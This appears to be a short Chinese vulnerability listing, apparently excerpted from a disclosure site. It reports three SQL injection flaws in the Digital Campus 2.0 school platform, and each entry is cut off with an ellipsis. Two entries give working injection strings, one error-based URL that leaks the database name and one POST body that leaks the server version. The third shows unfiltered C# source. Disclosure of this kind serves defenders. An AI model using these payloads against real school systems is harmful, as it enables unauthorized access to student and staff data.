Digital Campus2.0数字校园平台 teachermanage.aspx DelIDS参数SQL注入漏洞

http://xxx.com/code/teach/teachermanage.aspx?Method=DelTecherInfo&DelIDS=1 AND 1=convertint, CHAR126 %2b CHAR126 %2b CHAR126%2bdbname %2b CHAR126 %2b CHAR126 %2b CHAR126--...

Digital Campus2.0数字校园平台 syscommontypemain.aspx SCTID参数SQL注入漏洞

/code/application/book/syscommontypemain.aspx?Method=del post:SCTID=1' and 1=@@version and '1'='1&ParentID=1&notes=1...

Digital Campus2.0数字校园平台 classpubliccourse.aspx FullName参数SQL注入漏洞

文件：/code/teach/coursecenter/classpubliccourse.aspx 代码： code 区域 private void CheckCourse PublicCourseManager publicCourseManager = new PublicCourseManager; string request = base.GetRequest"paramID"; string request2 = base.GetRequest"FullName"; //过滤不严，下面定义的是Int,字符型注入。 int num =...